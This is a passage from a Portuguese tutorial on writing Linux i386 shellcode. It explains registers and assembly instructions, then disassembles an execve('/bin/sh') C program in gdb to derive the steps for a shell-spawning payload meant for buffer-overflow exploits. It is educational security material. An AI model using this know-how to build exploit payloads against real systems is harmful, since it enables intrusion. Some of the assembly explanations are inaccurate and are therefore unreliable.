alto nivel, mas aprenda as de nivel baixo.C pode ser considerada de alto,medio e baixo, eh uma linguagem fascinante, quem aprende, nao quer largar mais, a mesma coisa se diz de assembly, soh que assembly eh fogo!!!:)..Analise seu caso, decida seu rumo,amigo, ve aih o que vai ser mais util para voce no futuro! ------------------ 5 - REGISTRADORES | ------------------ Voce deve estar lendo e pensando que irei ensinar voce a programar em asm. Jah disse, amigo, volto a repetir, este eh um tutorial sobre escrita de shellcodes, necessita saber o basico de assembly.Descreverei aqui dados relacionado a essa linguagem que ajudarao a clarear as coisas, mas se quer ir longe, procure bons textos ou livros sobre isso, disponibilizarei urls no fim desse texto, mas elas por sih soh ainda nao sao tudo sobre asm. Pesquise, vah fundo, nao desista! Essa parte irah descrever brevemente o que sao alguns dos registradores em asm, para que servem e como usa-los.Vamos lah! Registradores sao uma especie de instrucoes que recebem e guardam variaveis.Eles sao muito comuns no recebimento de dados p/ enviarmos depois a algum lugar da memoria(Stack por exemplo). Veremos abaixo, uma breve explicacao sobre cada um desses registradores: 5.1 Registradores Gerais ------------------------- + AX -> Eh um registrador de 16 bits.Pode-se acessar parte dele.Como ele eh 16 bits, podemos acessar se quisermos apenas 8 bits, para isso devemos declara ele como sendo AH ou AL.AX eh conhecido como Acumulador X.Sabemos que X pode ser substituido por L(low) ou H(high), traduzindo, alto e baixo, respectivamente.Qualquer mudanca para AL ou AH implicarah numa mudanca de AX. Esse registrador eh muito usado em operacoes de entrada e saida de dados.Num sistema i386, que eh o que usaremos, ao inves de simplesmente AX, usaremos EAX, e como registradores recebem o simbolo de porcentagem(%), nosso registrador ficarah %EAX. Tenha em mente por enquanto que ele eh um registrador que acumula dados.Um exemplo seria ele receber o endereco de uma determinada instrucao ou string e empurra-la sobre o Stack. Isso pode ser visto abaixo: mov 0xfffffff8(%ebp),%eax push %eax No exemplo acima %eax recebe o endereco de uma string 0xfffffff8(%ebp) e depois eh empurrado os dados de %eax sobre o Stack.Lembrando que estamos usando a sintaxe AT&T onde a fonte(origem) vem primeiro e o destino depois. Aos poucos a coisa vai clarear mano, paciencia! + BX -> Conhecido como registrador BASE.Possui o mesmo esquema de AX, onde voce pode colocar dados nas partes dele,BH (alta) e BL(baixa).Na sintaxe AT&T para i386 teriamos ele como sendo %EBX.Ele eh muito usado como um registrador de offset.Um exemplo do uso dele seria: movl %esi,%ebx Onde copiamos o endereco dos dados de %esi para este registrador. + CX -> Esse eh conhecido como o registrador contador(count).Tambem como AX e BX, ele pode ser dividido e manipulado em partes,CH(Counter high), para manipularmos na parte alta(8 bits para cima) e CL(Counter low), para manipularmos na parte baixa(8 bits p/ baixo). O que devemos ter em mente eh o uso disso nas nossas implementacoes. Geralmente usaremos CX e deixaremos o programa fazer o servico por nos.NA sintaxe AT&T teremos entao p/ CX o seguinte formato: %ecx. Esse registrador eh muito usado em situacoes de loop, e contagem em desvios condicionais. Um exemplo dele seria: movl $10, %ecx + DX -> Eh o registrador de dados.Assim como os acima, ele eh usado para salvar dados(receber).Ele tambem pode ser divido em partes, DH(Data High), para manipularmos na parte alta, e DL(Data Low), como voce jah deve saber, p/ manipularmos na parte baixa da memoria.Ele eh muito usado em operacoes aritmeticas, como MUL, DIV e etc.. Um exemplo para ele seria: leal 0xc(%esi),%edx Onde %edx acima carregado com o valor de 0xc + o valor de %esi. 5.2 - Registradores de Segmento: --------------------------------- + ES -> Segmento Extra(Extra Segment).Ele eh usado como o segmento destino em operacoes de tranferencia e movimentacao de dados, como mov. + DS -> Segmento de Dados(Data Segment).Representa a area na memoria onde os dados sao armazenados.Todos os dados lidos pela CPU sao do segmento apontado para este registrador.Ele eh usado como segmento(endereco) origem para operacoes com mov,lods. 5.3 - Registradores de Indexacao do Stack: ------------------------------------------ Estes interessam e muito aquele que querem entender o processo preludio ou inicial de programas C (necessario para se entender os Stack Overflows). De qualquer forma, sao eles: + BP -> Apontador de Base(Base Pointer).Eh usado para acessar o Stack. + SP -> Apontador do Stack(Stack Pointer).Ele aponta para a posicao de memoria atual do Stack. Esses dois registradores se complementam em processos de envio de codigos sobre o Stack.Na parte de programacao de shellcodes propriamente dita, voce verah com mais clareza isto que estou dizendo. + SS -> Segmento de Pilha(Stack Segment).Eh usado pela CPU para armazenar enderecos de retorno de sub-rotinas.Eh o segmento onde reside o Stack. 5.4 - Outros Registradores Muito Usados ---------------------------------------- Esses registradores que seguem abaixo, sao tambem de grande importancia, descreverei rapidamente o que representa cada um. + CS -> Segmento de Codigo(Code Segment).Refere-se a parte da memoria (bloco) onde os codigos sao armazenados.Este segmento aponta para a proxima instrucao,nao pode ser mudado diretamente. + SI -> Indice Fonte, ou Indice Origem(Source Index).Muito usado para movimentacao de blocos de instrucoes, voce verah isso muito nos nossos shelcodes.Ele aponta para a proxima instrucao.Um exemplo deste dito cujo segue abaixo: movl $0x0, 0xc(%esi) Onde %esi eh um bloco de instrucoes jah pre-definidas. + DI -> Indice Destino(Index Destination).Ele pode ser usado como um registrador de offsets.Muito usado em operacoes com movs e stos. Bem amigo, esses sao os mais usados e conhecidos, tem ainda outros registradores como FS, GS, mas que nao descreverei neste tutorial, pois fogem do nosso objetivo. ----------------------------- 6 - LISTA BASICA DE COMANDOS | ----------------------------- Nesse capitulo, descreverei de forma breve e rapida, uma lista basica e necessaria de comandos assembly que nos ajudarao a construir nossos shellcodes. Lembrando que trabalharemos em cima de um codigo C que serah sempre feito anteriormente.Os comandos em assembly variam muito. O que eu chamo aqui de comandos, sao intrucoes em assembly responsaveis por uma determinada acao.Essas instrucoes sao as responsaveis pela execucao de nosso programa, no caso, shellcode.E mais uma vez recordando, estaremos trabalhando numa plataforma linux i386, mas com sintaxe AT&T. Abaixo segue a lista: + 6.1 - Instrucoes de Transferencia ------------------------------------ Sao as responsaveis por tranferir dados contidos em registradores e etc, para determinadas regioes na memoria ou execucao de alguma outra instrucao.Sao elas: * MOV -> Eh a instrucao responsavel pela transferencia de dados na memoria(movimentacao).Sua sintaxe em AT&T eh bastante simples: MOV origem,destino Onde origem pode ser um registrador,uma celula de memoria ou um operando qualquer.Um exemplo seria: mov %esp,%ebp O que isso aih em cima faz eh transferir o conteudo de %esp (Stack pointer) para %ebp (Base Pointer).Guarde bem esse exemplo, pois ele serah util para os nossos propositos. Outros exemplos: mov $0x7, %eax mov 0xfffffff8(%ebp),%eax movl $0x0,0xfffffffc(%ebp) Nesse ultimo exemplo, vemos movl (mov + l), lembrando que esse l significa low(baixo).Trata-se de transferencia para parte baixa do registrador, no caso EBP(%ebp). Outras possiveis insercoes em mov sao: movs,movsb,movsw. Nao entrarei em detalhes sobre elas, olhe os links no final caso necessite.Mas em todo caso, movsb serve para mover 1 byte, enquanto movsw serve para mover uma word. * LEA -> Eh uma instrucao parecida com MOV, soh que jah efetua alguns calculos antes de transferir os dados, esses calculos sao na maioria dos casos, sao calculos de endereco de memoria, como ADDs.Vejamos um exemplo: add $0x8,%eax mov %eax,%ebx Agora substituindo por lea, ficaria: lea 8(%eax),%ebx Isso faz-se com que o tempo gasto na execucao de um programa seja cada vez mais rapido, existe um ganho consideravel no uso desta instrucao, mas em compensacao, requer que os programadores estejam mais atentos ao codigo para saber o que de fato estah sendo feito.Um exemplo simples de LEA como uma simples instrucao de transferencia, seria: lea $0x8, %eax Isto equivaleria a instrucao MOV, no caso. Eu achei por certo descrever brevemente aqui as intrucoes que servem para transferir dados para o Stack, pois ao meu ver, sao instrucoes de movimentacao.Vejamos: * PUSH -> Esta instrucao empurra dados sobre o Stack(pilha).Vai ser muito usada em nossos exemplos.Vejamos sua sintaxe nesse exemplo: push $0x0 No exemplo acima, a instrucao push empurrou o numero hexadecimal(0) para o stack.Esse numero eh um argumento de uma funcao em C, que veremos mais tarde. lea 0xfffffff8(%ebp),%eax push %eax Jah nesse exemplo acima, vemos puss empurrar o endereco de uma funcao propriamente dita. * POP -> Eh a instrucao contraria a PUSH, como push empurra dados sobre o Stack, essa instrucao eh usada para retirar dados do Stack, lembre-se que o esquema no Stack eh LIFO - ultimo a entrar, primeiro a sair.Sabendo disso, entao a instrucao POP, irah sempre retirar o ultimo dado inserido no Stack. Vejamos um exemplo: mov %eax,%edx push %edx call 0x8050b28 <__normal_errno_location> pop %edx Esqueca por enquanto a instrucao call, se atenha somente a push e pop.PUSH empurrou os dados de %edx sobre o Stack, depois POP foi usada para retirar esses dados do Stack. Existem bem mais instrucoes de transferencia, mas como dito, isto nao eh um tutorial sobre programacao em assembly.Se quiser, ou necessitar, procure internet a fora, vah nos links que divulgo abaixo. + 6.2 - Instrucoes Aritmeticas ------------------------------- Sao as intrucoes usadas para relizacao de calculos(operacoes aritmeticas) nos operadores. Sao elas: * ADD -> Faz a adicao de dois operadores.Esta instrucao adiciona dois operadores e guarda o resultado no operador destino. Sua sintaxe em AT&T eh a seguinte: add origem, destino Onde origem pode ser uma regiao na memoria ou um dado numero hexa.Vejamos um exemplo: add 0xc,%eax * MUL -> Faz a multiplicacao de dois operadores.Sua sintaxe em AT&T eh: mul $0x4,%ax Teremos ainda a instrucao IMUL, que tambem serve para multiplicacao de operando, soh que essa instrucao leva em consideracao o sinal do operando, enquanto MUL nao considera. * DIV -> Obviamente, serve para fazer divisao de dois operadores. div $0x4,%eax Assim como na instrucao acima para multiplicacao de operandos, a instrucao DIV tem sua instrucao paralela, responsavel por divisao de operandos levando em consideracao o sinal, essa instrucao eh a IDIV. * SUB -> Aqui vai uma explicacao um pouco mais detalhada.Sub eh usada para fazer subtracao de operadores, e tambem para alocar espacos para receber dados no Stack, que nos interessa. Quando formos criar nosso shellcode, veremos sub resevar espaco no stack para receber dados que nos impurraremos.Ex: sub $0x8,%esp Isto faz com que seja reservado 8 bytes no Stack para receber dados. * INC -> Eh o incrementador na linguagem assembly.Assim como nas outras linguagens, ele incrementa um operando, sendo que aqui, como eh muita logica, ele jah trabalha em cima dos dados recebidos. Vejamos um exemplo do uso de inc: movl %ebx, %eax inc %eax Nesse exemplo acima, ele incrementou normalmente, somando 1 ao dado contido em %ebx.Com um pouco de neuronio, isto pode ser usado da mesma forma para manipular enderecos de memoria(como incrementar ponteiros em C). * DEC -> Decrementador.Serve para decrementar um determinado operando. Faz o contrario da instrucao acima.Da mesma forma, essa intrucao pode ser usada para se manipular enderecos da memoria. + 6.3 - Instrucoes de Comparacao --------------------------------- Sao instrucoes responsaveis por comparar operandos.Sao elas: * CMP -> Compara dados em operandos.Exemplo: cmp $0x8, %eax Existem outras instrucoes parecidas com CMP, como CMPSB e CMPSW, a primeira usada para comparar um byte, a segunda uma word. * TEST -> Essa instrucao eh usada em comparacoes logicas. test %edx,%edx Faz uma checagem num determinado registrador para ver se estah tudo certo. + 6.4 - Instrucoes de Salto ---------------------------- Essas instrucoes sao usadas para alterar a direcao normal de um programa. O pessoal que jah mecheu com programacao nao-estruturada, acho que nem precisa perder tempo com isso aqui, vou descrever de forma breve o que sao e representam essas instrucoes. As instrucoes de salto sao usadas pelo programa para fazer com que uma determinada rotina execute antes de outra ou mesmo, em rotinas condicionais, vejamos um esquema: Se A = B, pula para Z. senao continua normalmente. No exemplo de "algoritmo" acima, vemos um salto condicional, se a condicao for verdadeira, ocorre o salto(Primeira linha),senao, nao ocorre o salto. Mas existem situacoes, e em nossos exemplos as teremos, em que o salto nao eh condicional.Quem mecheu com Basic,com a instrucao goto, sabe do que estou falando.Os saltos incondicionais servem para fazer com que a direcao normal do programa seja alterada.Essa instrucao, geralmente faz com que o programa fique indo e voltando, ou pulando para uma determinada execucao depois para outra, nada estruturado. Uma razao de ter se criado algoritmos de dados estruturados eh justamente essa, quando se tem saltos condicionais ou nao, o algoritmo fica meio baguncado, dificultando a leitura e compreensao por parte de outros programadores que nao fizeram o dito cujo.Mas a realidade eh que, pelo menos para mim, que mechi com essas linguagens "antigas", instrucoes como goto, bem como esquemas de saltos, facilitavam e muito as coisas. Agora quando me deparo com problemas deste tipo, agradeco a Deus por ter mechido com aquilo!!:)..E olha que falam hoje em dia em banir esquemas de algoritmos nao-estruturados!!!Querem mesmo alienar o pessoal!! De qualquer forma, essas instrucoes relacionam ao fluido(direcao) normal da execucao de um programa.O esquema abaixo irah demonstrar um salto incondicional.Farei ele em QBASIC..:)..bateu uma saudade agora!!:) 1 CLS 2 COLOR 15 3 PRINT "Seja bem vindo" 4 INPUT "Digite sua senha: ", senha$ 5 IF senha$ = "fucador" THEN GOTO 20: ELSE GOTO 10 6 PRINT "Voce estah testando um salto condicional!!" 10 PRINT "Voce nao eh bem vindo aqui" 11 GOTO 4 20 PRINT "seja bem vindo fucador!!" 21 PRINT "Aqui eh a sua casa!!" Se voce prestar atencao a esse programa, verah os saltos sendo praticados, na linha 4 recebe-se uma variavel senha$, na linha 5, faz-se uma comparacao usando if(se), se senha$ eh igual a fucador, pule para a linha 20, esta linha 20 irah imprimir uma mensagem de boas vindas, mas se a senha$ nao for igual a fucador, nos vimos na linha 5, ELSE GOTO 10, se nao for pule para 10, pularemos para a linha 10, aqui na linha 10, nos temos uma mensagem dizendo que fulano nao eh bem vindo, em seguida na linha 11 temos a execucao do que chamamos de salto incondicional.Na linha 11, ordenamos um salto para a linha 4, gerando um looping, caso ele sempre digite a senha errada.Bem, aih estah um exemplo em QBASIC, o pessoal velha guarda deve ter pulado isso tudo jah, mas para o pessoal que nao conhece BASIC, e nem usa MS-DOS, windows nao tem QBASIC nele, nem nenhuma outra linguagem.O MS-DOS trazia QBASIC, um debugador capaz de gerar arquivos .COM com codigos assembly,e outras coisas, ateh um anti-virus. Mas como as coisas mudam, deixa pra lah.Para o pessoal que nao tem QBASIC, aih vai um exemplo desses saltos em C. /* Programa exemplo de saltos em C */ #include #include main(){ char senha[30]; printf("Digite a senha: "); scanf("%s",&senha); if(!strcmp(senha,"fucador")) goto BEM_VINDO; else goto FORA_DAQUI; BEM_VINDO: printf("Seja bem vindo fucador!!\n"); goto FUCADOR; FORA_DAQUI: printf("Voce nao eh bem vindo!!!\n"); printf("Saia fora daqui!!\n"); return 0; FUCADOR: printf("Eis aqui a complementacao do salto incondicional!!\n"); return 0; } Analisando bem o programa acima, voce verah o uso de goto para salto condicional(salta para BEM_VINDO e para FORA_DAQUI), e tambem o uso de goto para um salto incondicional , que eh a chamada goto dentro de BEM_VINDO, vemos goto FUCADOR. Caras que manjam muito de algoritmos fogem destas instrucoes e destes saltos, em C, geralmente se procura colocar tudo em funcoes,mas para nosso intuito de execucao de shellcodes, faz-se necessario este conhecimento, haja visto, muitos usarao estes shellcodes em exploits para buffer overflows, se para automatizar o processo, faz-se necessarios alguns saltos. Bem amigos, podemos ver na pratica o que sao estes saltos, que faz com que o programa pule de lah para cah.Veremos agora algumas instrucoes em assembly responsaveis por fazerem saltos parecidos com os citados acima.Sao elas: * JMP -> Eh o tal do jump(pula,salta).Eh muito usada em saltos incondicionais, fazendo o programa ir executar alguma instrucao diretamente, antes de poder seguir em frente, na sua direcao normal.Vejamos um exemplo: jmp 0xd mov 0x0, %eax No exemplo acima,vimos jmp ordenar ao programa que salte para a posicao 0xd, executando a instrucao que deverah estar incluida nesta posicao, a instrucao mov, abaixo, assim como nos exemplos que vimos acima, nao serah executada, a nao ser que exista uma outra chamada de jmp para a posicao de memoria onde se encontra esta instrucao. Existem varias instrucoes que equivalem a JMP, mas que servem executam somente saltos condicionais, eis algumas delas aqui: * JAE -> Jump if Above or Equal.Ela salta se o parametro for acima ou igual ao dados. * JNE -> Jump if Not Equal.Salta se paramentro nao for igual. * JGE -> Jump if Greater than or Equal.Salta se for maior ou igual a. * JLE -> Jump if Less or Equal .Salta se for menor ou igual a. * JE -> Jump if Equal.Salta parametro for igual a. * JB -> Jump if Below.Salta se abaixo. * JG -> Jump if Greater than. Salta se for maior que. * JL -> Jump if Less than. Salta se for menor que. Cada instrucao desta citada acima possui como parametro uma posicao de memoria, vemos um exemplo, na linha abaixo: je 0x8048304 Existem ainda varias outras, mas fogem do objetivo deste tutorial,como dito varias vezes, pesquise mais sobre assembly internet a fora. * CALL -> A instrucao call, eh usada para chamar um sub-rotina, ou mesmo para gerar uma especie de salto para uma instrucao no programa.Como vamos trabalhar em cima de um codigo C debugado, veremos essa instrucao constantemente chamar um system call. Um exemplo de seu uso, seria: call 0x80 Faz o programa "saltar" para o codigo que se encontra neste endereco(0x80).Num programa C debugado, podemos ver a instrucao CALL chamar um system call: call 0x80483fc No exemplo acima, call chama o sys_call execve. Existe ainda outra instrucao que eh considerada como sendode salto, seria a instrucao LOOP, mas nao a descreverei nesse tutorial. + 6.5 Instrucoes Logicas ------------------------- Sao instrucoes que o proprio nome jah denuncia, logicas!!Elas servem para fazer operacoes logicas! Conhecemos elas em quase todas as linguagens que se prezem!Veremos uma comparacao das insrucoes logicas assembly com as do C.Vejamos: C Equivalente em ASM -------- ----------------- -------- & AND | OR ~ NOT ^ XOR Nao vou colocar aqui a tabela verdade, olhe em qualquer tutorial de programacao, pois quando a coisa eh logica, eh logica para todos!!:) Vejamos agora a sintaxe para cade instrucao logica: * AND -> Eh o "e" logico.Sua sintaxe segue no exemplo abaixo: and $0xfff,%eax * OR -> Eh o "ou" logico. or $0xfff,%eax * NOT -> Eh o "nao" logico.Eh usado para inverter os bits de um byte ou uma word. not %edx * XOR -> Conhecido como "OR" exclusivo.XOR funciona da mesma forma que OR, soh que usado exclusivamente,se apenas uma variavel tiver resultado esperado.Ele eh muito usado para inverter um determinado bit de um byte ou um word, sem afetar os outros bits. xor %edx Caso tenha duvidas sobre isso, pesquise nos links mano, tem coisas boas lah! -------------- 7 - SHELLCODE | -------------- Bem, chegamos entao a parte que de fato nos interessa.Escrever shellcodes nao eh considerado coisa facil.Um conhecimento basico de assembly se faz mais do que necessario, uma vez que coloquei esses dados aih em cima, isso nao quer dizer de modo algum que voce estah apto para sair dizendo por aih que manja de assembly.Meu intuito nao eh e nunca serah de tornar alguem expert nesse quesito.Se quiser, creio que irah querer ou ateh mesmo irah necessitar, corra atras de mais informacoes sobre isso. Na parte de links voce poderah encontrar mais textos que o ajudarao a aprender essa fascinante e dificil linguagem. Partindo do pre-suposto que voce sabe programar o basico em ASM e C,pois nossos shellcodes serao para exploits em C, iremos agora dar inicio a esse emocionante aprendizado. Como vimos lah em cima o modelo usual de memoria nos possibilita colocar e armazenar dados numa regiao de memoria conhecida como Stack ou pilha.Uma vez que podemos colocar dados, usaremos nossos neuronios para atingir nossos objetivos, a execucao de codigos via instrucoes asm no Stack.Nao entrarei em detalhes sobre codigo arbitrario pelo buffer, ou mais conhecido como buffer overflow, irei explicar a escrita basica de shellcodes, mas voce terah que pensar em teus esquemas,soh recapitulo que antes de um programa ser executado o FRAME POINTER(EBP) eh salvo,em seguida faz do atual STACK POINTER o novo frame pointer, isso eh o que costumamos chamar de procedimento inicial ou preludio,isso servirah mais a frente para intuitos de overflow. Mais abaixo descreverei possiveis esquemas de uso para isso tudo. Bem, para comecarmos, iremos trabalhar em cima do shellcode mais conhecido na atualidade, o codigo de execucao de /bin/sh.Vejamos: 7.1 - SHELLCODE /BIN/SH ------------------------ Este shellcode eh bastante difundido, e voce pode ver em varios txts como ele eh escrito, mas creio que nao tao de forma detalhada quanto neste, de qualquer forma, este shellcode eh bastante util, principalmente em situacoes de buffer overflows.O seu codigo-fonte mais simples em C eh o seguinte: /* Futuro shellcode /bin/sh */ #include main(){ char *comando[2]; comando[0]="/bin/sh"; comando[1]=NULL; execve(comando[0],comando,NULL); } Se voce compilar ele normalmente verah que funciona perfeitamente. [localhost:/]$ gcc -o shell shell.c [localhost:/]$ ./bin_sh $exit exit Agora iremos partir para analisar seu codigo em gdb.Para isso faz-se necessario que voce o compile da seguinte forma: [localhost:/]$gcc -o shell -static -ggdb shell.c Feito isso amigo, prosseguimos abrindo seu codigo pelo debugador da gnu(gdb) da seguinte forma: [localhost:/]$ gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble main", para que o gdb nos forneca o codigo da funcao main em linguagem assembly.Veremos: (gdb) disassemble main Dump of assembler code for function main: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 0x804815d : movl $0x0,0xfffffffc(%ebp) 0x8048164 : push $0x0 0x8048166 : lea 0xfffffff8(%ebp),%eax 0x8048169 : push %eax 0x804816a : mov 0xfffffff8(%ebp),%eax 0x804816d : push %eax 0x804816e : call 0x80483fc 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret End of assembler dump. (gdb) Bem amigo, vamos com calma, para quem nao tem conhecido basico de assembly sem duvida estah voando nas instrucoes acima, mas veremos abaixo,no decorrer, o que representa cada instrucao desta aih.Se voce eh fera em assembly, vai pulando! Vamos analisar o que estah sendo feito: 0x8048150
: push %ebp 0x8048151 : mov %esp,%ebp 0x8048153 : sub $0x8,%esp Essa tres primeiras linhas correspondem ao processo inicial ou procedimento preludio.O que essas linhas fazem eh aquilo que descrevi no inicio desse "capitulo" ,o que elas fazem eh: primeiro eh salvar o frame pointer antigo, em seguida faz do atual stack pointer o novo frame pointer(mov %esp,%ebp), logo apos autoriza espaco para as variaveis locais, onde no nosso caso eh: char *comando[2]; Lembrando que ponteiro eh uma word long, entao ele autoriza espaco para duas words ou 8 bytes como vimos(sub $0x8,%esp).Continuando: 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) Essa gigantesta linha aih nao tem nada de complexo como parece,o que estah sendo feito aih eh a copia do endereco da string "/bin/sh"(valor 0x8058b28) sobre o primeiro ponteiro de comando[] (0xfffffff8(%ebp)). Isto equivale a: comando[0] = "/bin/sh". Continuando: 0x804815d : movl $0x0,0xfffffffc(%ebp) O que foi feito agora eh a copia do valor 0x0, que eh equivalente a NULL, sobre o segundo ponteiro de comando[].Isto eh equivalente a: comando[1] = NULL; em nosso codigo shell.c acima.Continuando: 0x8048164 : push $0x0 Bem amigos, aqui tem inicio a chamada da funcao execve(), lembrando, o programa empurra os argumentos de execve em ordem inversa(do ultimo argumento para o primeiro) sobre o stack.Acima vimos que comeca com 0x0 (NULL).Em nosso fonte shell.c temos: execve(comando[0],comando,NULL); Eh a este NULL que estamos nos referindo.Continuando: 0x8048166 : lea 0xfffffff8(%ebp),%eax Aqui ocorre o carregamento do endereco de comando[] sobre o registrador EAX.Continuando: 0x8048169 : push %eax Esse nao possui segredo, o que ocorreu foi que empurramos o endereco de comando[] que havia sido previamente carregado no registrado EAX sobre o Stack. Continuando: 0x804816a : mov 0xfffffff8(%ebp),%eax Aqui, carregamos o endereco da string "/bin/sh" sobre o registrador EAX.Continuando: 0x804816d : push %eax Novamente a funcao push(), que nos diz dessa vez que estamos empurrando os dados do registrado EAX, que nesse caso eh o endereco da string "/bin/sh", sobre o Stack.Continuando: 0x804816e : call 0x80483fc Aqui acontece o seguinte, ocorre a chamada a biblioteca de procedimentos execve(), ou simplesmente a chamada propriamente dita da funcao execve(). A instrucao chamada empurra o IP(Index Pointer) sobre o Stack. Lembrando que apos a execucao de execve(), nosso programa termina, entao as linhas abaixo seguem para voltar as rotinas anteriores: 0x8048173 : add $0xc,%esp 0x8048176 : mov %ebp,%esp 0x8048178 : pop %ebp 0x8048179 : ret Ocorre aih em cima o seguinte, eh o processo de saida, retorna o velho frame pointer, faz dele o stual stack pointer em seguida esvazia a pilha com pop. e ret retorna p/ o sistema. Agora analisaremos a funcao execve(); (gdb) disassemble execve Dump of assembler code for function execve: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx 0x8048400 : mov $0xb,%eax 0x8048405 : mov 0x8(%ebp),%ebx 0x8048408 : mov 0xc(%ebp),%ecx 0x804840b : mov 0x10(%ebp),%edx 0x804840e : int $0x80 0x8048410 : mov %eax,%edx 0x8048412 : test %edx,%edx 0x8048414 : jge 0x8048426 0x8048416 : neg %edx 0x8048418 : push %edx 0x8048419 : call 0x8050b28 <__normal_errno_location> 0x804841e : pop %edx 0x804841f : mov %edx,(%eax) 0x8048421 : mov $0xffffffff,%eax 0x8048426 : pop %ebx 0x8048427 : mov %ebp,%esp 0x8048429 : pop %ebp 0x804842a : ret 0x804842b : nop End of assembler dump. O codigo parece complicado a primeira vista,muitas instrucoes em assmebly, nao tao conhecidas p/ um newbie, como neg,test,jne, mas que sao explicadas em diversos tutoriais internet a fora.A maioria das coisas voce jah pode saber somente olhando e comparando com as explicacoes passadas. Mas vejamos: 0x80483fc : push %ebp 0x80483fd : mov %esp,%ebp 0x80483ff : push %ebx Isso eh o mesmo procedimento inicial descrito na explicacao sobre a funcao main().Pega-se o velho frame pointer e salva-o, em seguida faz do atual stack pointer o novo frame pointer e depois o empurra no stack. Continuando: 0x8048400 : mov $0xb,%eax Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde ao system call execve() na tabela de system calls do sistema.Voce pode conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso varia de linux para linux,mas creio que nao.Continuando: 0x8048405 : mov 0x8(%ebp),%ebx O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX. Continuando: 0x8048408 : mov 0xc(%ebp),%ecx Copiamos o endereco de comando[] sobre ECX. 0x804840b : mov 0x10(%ebp),%edx Copiamos o endereco do ponteiro nulo (NULL) sobre EDX. 0x804840e : int $0x80 Aqui nos mudamos para o modo kernel. Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo da funcao execve(), esses comandos que seguem abaixo, jah sao mais complexos e acredite, creio serem inuteis para os nossos objetivos!!Uma vez que se entra no modo kernel, as intrucoes que seguem "nao fazem" parte do nosso programa.Se quiser ver como a coisa vai se complicando digite na linha de comandos do gdb "disassemble __normal_errno_location" e por aih vai. O estudo detalhado acima nos dah uma boa base para sabermos como funciona o processo de execucao de nosso programa shell.c em instrucoes de "maquina". Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode. Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode: 1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria. Lembrando que estamos querendo executar esse comando, se fosse outro, logico que poderiamos mudar isso, mas a coisa se complicaria ainda mais. 2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido por uma word null long.Por que isso? lembra do esquema: comando[1] = NULL; Se faz necessario isso aqui. 3. Copiar 0xb sobre o registrador EAX. Lembrando que de acordo com a tabela de system calls que podemos achar em /usr/include/sys/syscall.h, o numero decimal correspondente ao syscall execve() eh 11 (0xb). 4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX. 5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX. 6. Copiar o endereco da word null long sobre o registrador EDX. 7. Executar a intrucao int $0x80. Para facilitar o aprendizado veremos como cada um dos passos citados acima, no nosso exemplo inicial de shellcode: 1. 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp) 2. 0x804815d : movl $0x0,0xfffffffc(%ebp) 3. 0x8048400 : mov $0xb,%eax 4. 0x8048405 : mov 0x8(%ebp),%ebx 5. 0x8048408 : mov 0xc(%ebp),%ecx 6. 0x804840b : mov 0x10(%ebp),%edx 7. 0x804840e : int $0x80 O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na construcao de um shellcode eficiente.Por exemplo,para evitar que o programa continue buscando instrucoes para o Stack, caso a funcao execve() falhe.Nos precisaremos usar um artificio que faca com que o programa saia limpamente, caso haja falha em execve().Sair limpamente significa voltar a linha de comando, sem que o programa busque dados aleatorios caso execve() falhe.Para fazermos isso basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos isso da seguinte forma: Pegamos e compilamos o programa abaixo: ------------------------------------------------------------------------ /* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE CASO EXECVE() FALHE Compile com: gcc -o saida -static -ggdb saida.c */ #include void main(){ exit(0); } ----------------------------------------------------------------------- Compilamos ele entao: [localhost:/]$ gcc -o saida -static -ggdb saida.c Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para vermos como isso fica em asm: [localhost:/]$gdb saida GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i686-pc-linux-gnulibc1"... (gdb) Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui). (gdb) disassemble _exit Dump of assembler code for function _exit: 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx 0x80483e8 <_exit+4>: mov $0x1,%eax 0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx 0x80483f0 <_exit+12>: int $0x80 0x80483f2 <_exit+14>: mov 0xfffffffc(%ebp),%ebx 0x80483f5 <_exit+17>: mov %ebp,%esp 0x80483f7 <_exit+19>: pop %ebp 0x80483f8 <_exit+20>: ret 0x80483f9 <_exit+21>: nop 0x80483fa <_exit+22>: nop 0x80483fb <_exit+23>: nop End of assembler dump. Podemos facilmente ver algumas coisas, vamos analisar este codigo. 0x80483e4 <_exit>: push %ebp 0x80483e5 <_exit+1>: mov %esp,%ebp 0x80483e7 <_exit+3>: push %ebx Procedimento inicial, o mesmo esquema descrito para a funcao execve() acima.Continuando: 0x80483e8 <_exit+4>: mov $0x1,%eax Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero correspondente ao system call exit() na tabela de system calls. Continuando: 